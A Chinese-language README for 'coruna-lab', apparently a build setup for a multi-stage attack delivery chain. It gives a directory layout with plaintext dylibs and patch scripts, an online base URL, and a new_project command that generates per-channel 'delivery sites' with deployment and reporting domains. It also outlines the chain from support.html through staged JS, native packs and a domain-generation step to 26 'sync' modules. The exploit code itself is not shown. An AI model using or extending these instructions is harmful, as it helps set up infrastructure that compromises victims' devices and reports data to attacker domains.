# coruna-lab 启动 / 验证 Coruna 链路所需的最小文件树。构建与 patch **不再依赖** 旁路的 `coruna-online/`。 ```text coruna-lab/ ├── source/ # 只读模板 / 明文输入(勿直接 patch) │ ├── web// │ ├── sync/ # wire 模板 │ ├── sync_dylibs/ # sync 明文 dylib │ ├── type0x01_dylibs/ # type-0x01 明文 dylib │ └── sync_config/daily.body ├── server/public/ │ ├── web// # 每次 new_project 新增一个投递站 │ ├── sync/ # 每次 new_project 重建 │ └── out/{channel,seeds,domains}.json ├── doc/ ├── tools/ # patch 脚本 + vendor/ 离线辅助库 └── MANIFEST.json ``` 线上 base(模板同源): ```text https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/ ``` ## 新建项目(推荐) 从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致: ```bash cd coruna-lab pip3 install py7zr pycryptodome /usr/bin/python3 tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \ --reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' ``` 见 `server/public/out/channel.json` / `domains.json`;入口: ```text https:///web//support.html https:///sync/daily.html ``` ## 文档 | 文档 | 内容 | |------|------| | [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` | | [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 | | [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 | | [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 | ## 链路(极简) ```text support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js) → Deployment DGA → /sync/daily.html → 26 模块 ``` ## 其它 - 来源索引:`MANIFEST.json`(历史 provenance;运行时不读) - **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web//` 与 `sync/` - 工具细节见 [`tools/README.md`](tools/README.md)